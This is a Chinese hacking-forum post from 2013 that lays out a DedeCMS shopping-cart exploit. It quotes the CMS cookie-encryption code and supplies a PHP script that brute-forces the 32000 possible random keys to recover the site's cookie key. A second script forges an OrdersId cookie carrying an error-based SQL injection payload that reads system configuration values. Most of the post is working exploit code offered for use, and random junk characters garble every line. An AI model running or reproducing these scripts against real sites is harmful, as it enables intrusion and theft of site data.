找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2145|回复: 0
打印 上一主题 下一主题

织梦CMS漏洞dedecms漏洞SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-13 23:58:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
www.xxx.com/plus/search.php?keyword=
1 F& ^% O2 o$ f: \: u5 Q在 include/shopcar.class.php中& _# K( r0 }( P0 t+ L* Q
先看一下这个shopcar类是如何生成cookie的' j1 v, H" I# Y# m! v0 u: M5 r
239      function saveCookie($key,$value)
1 J+ {$ x- g$ a, a8 [240      {
& |' \% b' a& c0 _* r3 J241          if(is_array($value))
4 ?' b( K! l: p! e; ^% o242          {
" T# t2 h. ?. X! s  l  w* _243              $value = $this->enCrypt($this->enCode($value));
( J! G% q; m( \1 H244          }5 z7 Q; Y5 [- `' h8 N: @  K: e" L5 n
245          else
9 O# U4 ~6 h; q* D4 W4 y- E246          {
# S( A& y5 ]- M7 d0 G1 p247              $value = $this->enCrypt($value);
7 p" l- w  Z3 Q/ i& S  X' I248          }$ _( m, `$ y( N+ Z& y
249          setcookie($key,$value,time()+36000,’/');7 o$ r% Y5 r# [2 `
250      }
, q) \3 u: b9 _: N9 r! x! O) `) F( |简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
6 G  u$ L$ x$ K- N. I9 J186      function enCrypt($txt)
% \4 U- }& G: G( N+ }! t187      {" Z* \, u, B# ^" l. D  I
188          srand((double)microtime() * 1000000);
& F1 q0 z! T9 V7 p6 s- v3 [! T189          $encrypt_key = md5(rand(0, 32000));
2 Y$ S" \& t  ^9 S$ Y& \190          $ctr = 0;: g# [# m7 R2 ]) |1 v7 P
191          $tmp = ”;
3 C8 S" f  D# N8 H192          for($i = 0; $i < strlen($txt); $i++): X* P! `  q  g, ]& e
193          {
9 f! ~" n+ L2 D+ q3 ^& P; \194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
3 M  u  x& z& a+ l: m1 z195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
- Z( ]" ^  P8 U, {! ^( l196          }4 g/ H* x* @& a
197          return base64_encode($this->setKey($tmp));
# _6 d: f/ g; c- G$ ^0 I3 v  ]8 Y198      }7 B4 L/ U5 u6 x( @- p! z
213      function setKey($txt)$ \) C8 \8 t; U! T, z
214      {
9 d2 q, m7 k# B# ^$ ]215          global $cfg_cookie_encode;
, a+ Q  B3 E: t, c, e216          $encrypt_key = md5(strtolower($cfg_cookie_encode));& F- e; q  `, Z
217          $ctr = 0;, g/ j, G' B- H3 y0 M( @/ @( [
218          $tmp = ”;
; @" X0 [) M% u219          for($i = 0; $i < strlen($txt); $i++)
2 ~# n& m/ i* @* y) b/ U8 x220          {) G. ?+ N/ x: s( {. L
221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
. R& J  T  p6 k  {9 G- C222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
5 |# e- {1 F* v223          }* G  B2 ^9 \6 t2 [' {2 C( |
224          return $tmp;/ T. w8 p% D& a$ v) c2 Q
225      }
, ~% G  U: |$ P" P* Z  s( ZenCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的0 U# E$ K+ W# H  K8 y" K
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
& x" E0 L( \5 Y8 A) y具体代码如下:
+ n+ B& X  c# ^9 _) M% s# P<?php" W$ g! [3 U. z6 u* S
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here+ |5 _7 J. L- e
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
3 |0 E$ K# K/ |1 f# h$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
0 B' Z; o8 g- T7 ^" t" pfunction reStrCode($code,$string)
4 Q* T4 c1 s/ L1 S, J3 E: l{
5 H9 {0 g# H3 ^, H9 n+ q: U! O$code = base64_decode($code);- D& Y2 U& X" ~/ k% k
$key = “”;, \6 b! |3 S7 B
for($i=0 ; $i<32 ; $i++)
/ _8 f# D6 x9 K9 }0 s{8 v% ?; F/ C, |
$key .= $string[$i] ^ $code[$i];
, v# {/ N5 Q; s( ^9 h}. D1 q) }# C6 u2 n0 ~
return $key;
. s! h  h0 i+ B$ o+ o. K/ L}
, Y2 h/ s  P. B8 p, {  L  L$ {6 afunction getKeys($cookie,$plantxt)
! w! A5 n  I- l1 l5 }! \{; o! k+ s8 P5 v
$tmp = $cookie;! i2 r. c! j, U6 n3 h
$results = array();  v5 k& o/ z+ _9 _# @
for($j=0 ; $j < 32000; $j++)
& d" p2 X2 N: O3 p  f7 g9 S1 w. z{( z! f5 q/ E' i+ D' R

* l) O3 o4 E% I. N$txt = $plantxt;, T2 F& d+ P8 `, F$ E: q4 k
$ctr = 0;1 T% o5 I# Z% x
$tmp = ”;
1 U1 w8 I5 t. q4 p' {) L$encrypt_key = md5($j);
+ J7 I) A" _) L4 ^+ U6 M* lfor($i =0; $i < strlen($txt); $i ++)
& m& y) O) v6 y- C{8 \2 j) N  k' x; a- |
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
! L" v) M/ P4 z* `1 ~; k( R( S$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);6 y1 x! m. ?! X8 B" r
}/ j/ ~' t1 s$ S  g4 g3 Z# r  k
$string = $tmp;! }4 z0 l0 I* F4 j
$code = $cookie;
- b* y6 A# Y  \$result = reStrCode($code,$string);
: M( ?; ~5 x* H( Vif(eregi(‘^[a-z0-9]+$’,$result))
, o& C% l% S' ~% \3 }* z9 N. ?{
+ y2 c1 h) [9 B$ ]: p" V) decho $result.”\n”;
" ~- Z8 U7 m9 [3 |$results[] = $result;
( M$ A0 z- M4 x}
* j- h) R) H9 F2 s}
7 U1 I$ A1 q" o% @' Y7 G1 c5 L5 ureturn $results;% o+ t3 Q9 m5 f) h( ^, y- r
}
( F+ y" R  x4 C2 g+ w/ G0 j/ [8 I$results1 = getKeys($cookie1,$plantxt);
% {2 w4 I5 P' B; V, f" |8 g$results2 = getKeys($cookie2,$plantxt);, P+ B" \+ p& T: ]) Z! G) y7 ~
print “\n——————–real key————————–\n”;" e+ T& Y- X9 Q/ ~9 l1 d
foreach($results1 as $test1)0 Y$ K/ `# ?2 {* M0 Y
{
# N, i/ V# x4 G. Lforeach($results2 as $test2)7 c" o4 R7 K" U, r9 ~$ V3 [8 U7 C
{7 n6 O: {: {4 r: q0 I2 }8 A
if($test1 == $test2)
" H4 H/ p4 {$ p8 N  w{
& A' {6 F3 W2 P5 U7 Mecho $test1.”\n”;
0 a% |5 g- W6 F- m}
* Q# k7 u: c" c8 S+ {}, h  z9 q5 {- i' a, b
}
) ^5 D9 p) P! z# F9 T* x?>* w- O3 a. i: [, ^$ A5 i
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
! ]' a* s+ b* u* r3 r) U$ Uplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1' R- F7 f' n3 A) {8 A: ?
然后推算出md5(strtolower($cfg_cookie_encode))
* |1 E& [/ c9 m0 ^得到这个key之后,我们就可以构造任意购物车的cookie# S% s3 G) V& f) z/ }, `' u! N
接着看
! t/ D9 P# ~  g: b20  class MemberShops
2 R- V6 ]( o* ^21  {$ e4 b- Y7 a* C
22      var $OrdersId;) K8 o; p3 O7 k% ?5 j
23      var $productsId;# P. x; g9 h0 `% I& i# T+ [
24
% v. ^; s# r0 n% p* F25      function __construct()% `2 u/ w( A0 x( K
26      {" n1 ], \+ j$ q& S8 l$ ]: `
27          $this->OrdersId = $this->getCookie(“OrdersId”);3 ~/ U, T' F- G9 Y
28          if(empty($this->OrdersId))# J; M5 v9 w3 Y; z: X. N
29          {
% I& x  E" z3 a; O# ?30              $this->OrdersId = $this->MakeOrders();
. s; s5 [$ K0 J* j  a31          }
# ~* M8 ?% P1 C0 x32      }
- I3 b: Y% {1 B3 P/ S发现OrderId是从cookie里面获取的
* L0 V4 @( L$ O$ e+ i然后- ?, z: W9 {0 Y5 n; T) f9 w1 _& j3 Z
/plus/carbuyaction.php中的
6 x/ q. n8 K5 G; Z) w7 n8 R, [: {29      $cart    = new MemberShops();
  F7 A5 k' j3 }7 j39      $OrdersId = $cart->OrdersId;        //本次记录的订单号
9 V+ E, ~' E/ C; M1 m0 |1 Z: w8 E……  x: v0 \+ n7 k7 @0 V& x
173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
0 O' @' m3 v2 }接着我们就可以注入了/ n$ W2 ^9 D% A  j1 Y
通过利用下面代码生成cookie:, A+ [$ K, W$ \! r
<?php  @+ \1 k0 P, S
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
* f; g; q2 e8 s( |+ \9 z. w0 N$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here+ G# s0 Y3 P4 H" P
function setKey($txt)( Y) ]# \% l* W: l
{+ g) k" _' n) K; X
global $encrypt_key;# i5 e& j0 H9 y! |$ X; C3 A9 H
$ctr = 0;$ R- J% N- e& {9 N! ~0 ~$ F+ u
$tmp = ”;& A  r* r; X# K
for($i = 0; $i < strlen($txt); $i++)
. ^/ g6 h3 ]* a( q{* x5 s$ A) b6 E* P
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
3 V. Z% a& ?5 M; I$ i) N  {3 y$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];5 _0 [2 }% V7 I" @+ {% V* e
}
8 R* e# o+ I$ U1 Ereturn $tmp;% |3 N2 L- t6 K
}6 ]% g( r% q) M9 g1 Q
function enCrypt($txt)
9 L4 ?  W, \3 c' T1 t{
+ C/ ^9 J; K/ G* O2 w7 g5 rsrand((double)microtime() * 1000000);
- c- n  i3 A% T; q+ f) D$ X$encrypt_key = md5(rand(0, 32000));+ f- S) W& A. u4 v$ T0 b
$ctr = 0;
+ r7 S; O* O- o6 V: g9 m8 O$tmp = ”;- u" D/ Y& j" j7 p
for($i = 0; $i < strlen($txt); $i++)$ }0 {7 M6 w; c  V( k0 ]9 P) c
{( R+ w1 k5 |" l* M( u7 @/ M, z
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;/ X2 ]- ]) Y; q$ S; v0 `
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);4 @& d- o/ {4 L0 D
}
$ d  o: T8 ?3 `1 q* [0 Jreturn base64_encode(setKey($tmp));1 O( S  o$ D. H$ A0 Y
}  @; [9 i& K" a
for($dest =0;$dest = enCrypt($txt);)
7 T1 R$ B4 U3 D5 b- V* Z) a) k9 ^{
" i+ ^: m* P- |5 Jif(!strpos($dest,’+'))
1 G0 |, O# W9 |7 H/ @! N{+ b3 Q6 P* o7 _! j" J
break;8 T7 |, K( r) a. v  S; S
}/ `7 v" P) K1 e3 F
}
' R' X1 ^. B9 t: secho $dest.”\n”;
7 e1 r* P  t0 w- n4 J/ B2 Z- a  U8 m?>
/ D6 Y- E+ p- c) o
, X. L7 c( {+ g. P9 L3 N- f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表